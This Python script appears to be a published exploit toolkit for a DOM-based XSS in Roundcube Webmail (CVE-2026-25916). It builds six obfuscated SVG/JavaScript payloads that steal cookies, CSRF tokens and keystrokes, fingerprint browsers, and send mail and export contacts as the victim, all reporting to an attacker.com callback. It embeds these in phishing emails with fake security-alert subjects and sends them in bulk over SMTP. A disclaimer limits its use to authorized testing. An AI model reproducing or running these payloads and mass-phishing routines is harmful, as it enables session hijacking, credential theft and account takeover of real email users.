#!/usr/bin/env python3
# Exploit Title: Roundcube Webmail DOM-based XSS Exploit via SVG href Attribute
# Author: Mohammed Idrees Banyamer
# Instagram: @banyamer_security
# GitHub: https://github.com/mbanyamer
# Date: 2026-02-09
# Tested on: Roundcube Webmail 1.6.8, Ubuntu 22.04 LTS
# CVE: CVE-2026-25916
#
# Affected Versions: Roundcube Webmail < 1.6.9
#
# Type: DOM-based Cross-Site Scripting (XSS)
# Platform: Web Application (PHP/JavaScript)
# Author Country: Jordan
# Weakness: CWE-79 (Improper Neutralization of Input During Web Page Generation)
# Attack Vector: Network (Email-based exploitation)
# Privileges Required: None (unauthenticated attacker can send email)
"""
Practical Exploitation Toolkit for CVE-2026-25916
Roundcube DOM-based XSS via SVG href attributes
Authorized testing only - Use on your own systems!
"""
import smtplib
import random
import time
import argparse
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
from email.header import Header
import ssl
import sys
class RoundcubeXSSExploit:
def __init__(self, smtp_server, smtp_port, username, password, recipient):
self.smtp_server = smtp_server
self.smtp_port = smtp_port
self.username = username
self.password = password
self.recipient = recipient
self.session_id = f"{int(time.time())}_{random.randint(1000, 9999)}"
def generate_stealth_payload(self, callback_url=None, attack_type="recon"):
"""Generate obfuscated XSS payloads for CVE-2026-25916"""
# Obfuscation techniques to bypass basic filters
obfuscations = [
lambda x: x.replace('alert', 'al'+'ert'),
lambda x: x.replace('document', 'docu'+'ment'),
lambda x: x.replace('cookie', 'coo'+'kie'),
lambda x: x + '//' + ''.join(random.choices('abcdefghijklmnopqrstuvwxyz', k=10))
]
# Multiple payload options exploiting SVG href attribute vulnerability
payloads = {
"recon": """
<svg width="0" height="0" style="display:none">
<script>
(function(){{
var data = {{
url: location.href,
cookies: document.cookie,
userAgent: navigator.userAgent,
referrer: document.referrer,
time: new Date().toISOString(),
sessionId: '{session_id}'
}};
var img = new Image();
img.src = '{callback}?data=' + encodeURIComponent(JSON.stringify(data));
}})();
</script>
</svg>
""",
"session_steal": """
<svg xmlns="http://www.w3.org/2000/svg">
<!-- CVE-2026-25916: href attribute executes JavaScript -->
<use href="javascript:(function(){{
var xhr = new XMLHttpRequest();
xhr.open('POST', '{callback}', true);
xhr.setRequestHeader('Content-Type', 'application/json');
xhr.send(JSON.stringify({{
cookies: document.cookie,
csrf: document.querySelector('input[name=\"_token\"]')?.value || 'not_found',
url: window.location.href,
email: '{recipient}',
cve: 'CVE-2026-25916'
}}));
}})()"/>
<rect width="1" height="1" fill="transparent"/>
</svg>
""",
"keylogger": """
<svg>
<script>
var logged = '';
document.addEventListener('keydown', function(e) {{
logged += e.key;
if(logged.length > 100) {{
new Image().src = '{callback}?keys=' + encodeURIComponent(logged);
logged = '';
}}
}});
</script>
<!-- Alternative: xlink:href also vulnerable -->
<image xlink:href="data:image/svg+xml,<svg xmlns='http://www.w3.org/2000/svg'/>" width="1" height="1"/>
</svg>
""",
"action_hijack": """
<svg xmlns="http://www.w3.org/2000/svg">
<!-- Exploiting vulnerability in <a> element href -->
<a xlink:href="javascript:(function(){{
setTimeout(function() {{
// Send email as victim
fetch('/?_task=mail&_action=compose', {{
method: 'POST',
headers: {{'Content-Type': 'application/x-www-form-urlencoded'}},
body: '_to=attacker@example.com&_subject=Compromised&_body=' +
encodeURIComponent('Account: ' + document.cookie)
}});
// Export contacts
fetch('/?_task=addressbook&_action=export&_source=0');
}}, 3000);
}})()">
<rect width="100%" height="100%" fill-opacity="0"/>
</a>
</svg>
""",
"persistent": """
<svg style="position:absolute;left:-9999px">
<script>
// Create hidden iframe for persistence
var iframe = document.createElement('iframe');
iframe.style.display = 'none';
iframe.src = 'data:text/html,<script>setInterval(function(){{
parent.postMessage({{cookies:document.cookie}}, "*");
}}, 5000);<\/script>';
document.body.appendChild(iframe);
// Listen for messages from iframe
window.addEventListener('message', function(e) {{
if(e.data.cookies) {{
new Image().src = '{callback}?persist=' + encodeURIComponent(e.data.cookies);
}}
}});
</script>
</svg>
""",
"fingerprint": """
<svg xmlns="http://www.w3.org/2000/svg">
<!-- Comprehensive fingerprinting payload -->
<use href="javascript:(function(){{
var canvas = document.createElement('canvas');
var ctx = canvas.getContext('2d');
ctx.textBaseline = 'top';
ctx.font = '14px Arial';
ctx.fillText('CVE-2026-25916', 2, 2);
var fp = {{
canvas: canvas.toDataURL(),
plugins: navigator.plugins.length,
languages: navigator.languages,
platform: navigator.platform,
hardwareConcurrency: navigator.hardwareConcurrency,
deviceMemory: navigator.deviceMemory,
screen: {{width: screen.width, height: screen.height}},
timezone: Intl.DateTimeFormat().resolvedOptions().timeZone,
session: '{session_id}'
}};
fetch('{callback}', {{
method: 'POST',
headers: {{'Content-Type': 'application/json'}},
body: JSON.stringify(fp)
}});
}})()"/>
</svg>
"""
}
# Get selected payload
payload = payloads.get(attack_type, payloads["recon"])
payload = payload.format(
session_id=self.session_id,
callback=callback_url or f"https://attacker.com/collect/{self.session_id}",
recipient=self.recipient
)
# Apply random obfuscation
for obfuscate in random.sample(obfuscations, 2):
payload = obfuscate(payload)
return payload
def create_phishing_email(self, payload, subject=None):
"""Create convincing email with embedded XSS payload"""
subjects = [
"Security Alert: Unusual Login Detected",
"Important: Account Verification Required",
f"Your Invoice #INV-{random.randint(10000, 99999)}{random.choice(['A', 'B', 'C'])}",
"Action Required: Update Your Contact Information",
"Meeting Invitation: Quarterly Review",
"Document Shared With You",
"Password Reset Confirmation",
"Roundcube System Notification"
]
email_template = """
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<style>
body {{ font-family: Arial, sans-serif; line-height: 1.6; color: #333; }}
.header {{ background: #f4f4f4; padding: 20px; border-radius: 5px; }}
.content {{ padding: 20px; }}
.footer {{ font-size: 12px; color: #666; margin-top: 30px; }}
.button {{ background: #007bff; color: white; padding: 10px 20px; text-decoration: none; border-radius: 3px; }}
</style>
</head>
<body>
<div class="header">
<h2>{subject}</h2>
</div>
<div class="content">
<p>Dear User,</p>
<p>This is an important notification regarding your account.
Please review the information below.</p>
<!-- Decoy content -->
<div style="border: 1px solid #ddd; padding: 15px; margin: 20px 0; background: #f9f9f9;">
<h3>Account Summary</h3>
<p>Last login: {time_ago} minutes ago from {location}</p>
<p>Status: <span style="color: green;">Active</span></p>
</div>
<p>If you did not initiate this action, please contact support immediately.</p>
<a href="https://example.com/verify" class="button">Review Account</a>
<p>Best regards,<br>Security Team</p>
</div>
<div class="footer">
<p>This is an automated message. Please do not reply to this email.</p>
<p>© 2026 Example Corp. All rights reserved.</p>
</div>
<!-- Hidden XSS payload exploiting CVE-2026-25916 -->
<div style="display:none;">
{payload}
</div>
<!-- Tracking pixel (legitimate-looking) -->
<img src="https://example.com/track/{session_id}.png" width="1" height="1" alt=""/>
</body>
</html>
"""
return email_template.format(
subject=subject or random.choice(subjects),
time_ago=random.randint(5, 120),
location=random.choice(["New York, US", "London, UK", "Tokyo, JP"]),
payload=payload,
session_id=self.session_id
)
def send_email(self, html_content, subject, from_name=None):
"""Send email with proper headers and encoding"""
msg = MIMEMultipart('alternative')
msg['From'] = f'"{Header(from_name or "Security Team", "utf-8")}" <{self.username}>'
msg['To'] = self.recipient
msg['Subject'] = Header(subject, 'utf-8')
msg['Date'] = time.strftime('%a, %d %b %Y %H:%M:%S %z')
msg['Message-ID'] = f'<{self.session_id}@{self.smtp_server.split("@")[-1]}>'
msg['X-Mailer'] = 'Roundcube/1.6.8'
msg['X-Priority'] = '3'
msg['X-MSMail-Priority'] = 'Normal'
msg['X-CVE'] = 'CVE-2026-25916-TEST'
# Add both plain text and HTML versions
text_part = MIMEText("Please view this email in an HTML-capable email client.", 'plain', 'utf-8')
html_part = MIMEText(html_content, 'html', 'utf-8')
msg.attach(text_part)
msg.attach(html_part)
try:
# Connect to SMTP server
context = ssl.create_default_context()
if self.smtp_port == 465:
server = smtplib.SMTP_SSL(self.smtp_server, self.smtp_port, context=context)
else:
server = smtplib.SMTP(self.smtp_server, self.smtp_port)
if self.smtp_port == 587:
server.starttls(context=context)
server.login(self.username, self.password)
server.sendmail(self.username, self.recipient, msg.as_string())
server.quit()
print(f"[+] Email sent successfully!")
print(f"[+] CVE: CVE-2026-25916")
print(f"[+] Session ID: {self.session_id}")
print(f"[+] Recipient: {self.recipient}")
print(f"[+] Time: {time.ctime()}")
return True
except Exception as e:
print(f"[-] Error: {e}")
return False
def mass_exploit(self, recipients_file, attack_type="recon", delay=5):
"""Send to multiple recipients"""
try:
with open(recipients_file, 'r') as f:
recipients = [line.strip() for line in f if line.strip()]
except FileNotFoundError:
print(f"[-] File {recipients_file} not found")
return
print(f"[*] Starting mass exploit against {len(recipients)} targets")
print(f"[*] CVE: CVE-2026-25916 - Roundcube DOM XSS")
for i, recipient in enumerate(recipients):
self.recipient = recipient
self.session_id = f"{int(time.time())}_{random.randint(1000, 9999)}"
payload = self.generate_stealth_payload(attack_type=attack_type)
email_content = self.create_phishing_email(payload)
print(f"[{i+1}/{len(recipients)}] Targeting: {recipient}")
if self.send_email(email_content, "Security Notification"):
print(f" [+] Success - CVE-2026-25916 exploited")
else:
print(f" [-] Failed")
if i < len(recipients) - 1:
print(f" [*] Waiting {delay} seconds...")
time.sleep(delay)
def main():
parser = argparse.ArgumentParser(
description="CVE-2026-25916 Roundcube DOM-based XSS Exploit Toolkit",
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog="""
Examples:
%(prog)s -s smtp.gmail.com -p 587 -u attacker@gmail.com -w password \\
-r victim@company.com -t session_steal --callback https://yourserver.com/collect
%(prog)s -s smtp.office365.com -p 587 -u user@company.com -w password \\
-l targets.txt -t recon --delay 10
%(prog)s -s mail.example.com -p 465 -u admin@example.com -w password \\
-r admin@example.com -t fingerprint
Legal Notice:
This tool is for authorized security testing only.
You MUST have explicit permission to test the target systems.
The author is not responsible for any misuse of this tool.
"""
)
parser.add_argument("-s", "--server", required=True, help="SMTP server address")
parser.add_argument("-p", "--port", type=int, default=587, help="SMTP port (default: 587)")
parser.add_argument("-u", "--username", required=True, help="SMTP username/email")
parser.add_argument("-w", "--password", required=True, help="SMTP password/app password")
parser.add_argument("-r", "--recipient", help="Single recipient email address")
parser.add_argument("-l", "--list", help="File containing list of recipient emails")
parser.add_argument("-t", "--type", default="recon",
choices=["recon", "session_steal", "keylogger", "action_hijack", "persistent", "fingerprint"],
help="Attack type (default: recon)")
parser.add_argument("-d", "--delay", type=int, default=5, help="Delay between emails in seconds (default: 5)")
parser.add_argument("--callback", help="Callback URL for data exfiltration")
parser.add_argument("--subject", help="Custom email subject")
parser.add_argument("--from-name", default="Security Team", help="Sender display name")
args = parser.parse_args()
if not args.recipient and not args.list:
parser.error("Either --recipient or --list must be specified")
exploit = RoundcubeXSSExploit(
args.server, args.port, args.username, args.password, args.recipient or "dummy@example.com"
)
print("""
╔═══════════════════════════════════════════════════════════╗
║ CVE-2026-25916: Roundcube Webmail DOM-based XSS Exploit ║
║ via SVG href Attribute Vulnerability ║
║ ║
║ Author: Mohammed Idrees Banyamer ║
║ Instagram: @banyamer_security ║
║ GitHub: https://github.com/mbanyamer ║
║ Country: Jordan ║
║ ║
║ ║
╚═══════════════════════════════════════════════════════════╝
""")
print(f"[*] CVE: CVE-2026-25916")
print(f"[*] Type: DOM-based Cross-Site Scripting")
print(f"[*] Affected: Roundcube Webmail < 1.6.9")
print(f"[*] CWE: CWE-79 (Improper Input Neutralization)")
print(f"[*] Attack Vector: Network (Email)")
print(f"[*] Privileges Required: None\n")
if args.list:
exploit.mass_exploit(args.list, args.type, args.delay)
else:
payload = exploit.generate_stealth_payload(args.callback, args.type)
email_content = exploit.create_phishing_email(payload, args.subject)
print(f"[*] Attack Type: {args.type}")
print(f"[*] Target: {args.recipient}")
print(f"[*] SMTP Server: {args.server}:{args.port}")
print(f"[*] Generating payload...")
if exploit.send_email(email_content, args.subject or "Important Notification", args.from_name):
print("\n[+] Exploit completed successfully!")
print(f"[*] Vulnerability: CVE-2026-25916 exploited")
print(f"[*] Monitor callback URL: {args.callback or 'Set up listener at your server'}")
print(f"[*] Remediation: Update Roundcube to version 1.6.9 or later")
else:
print("\n[-] Exploit failed")
if __name__ == "__main__":
main()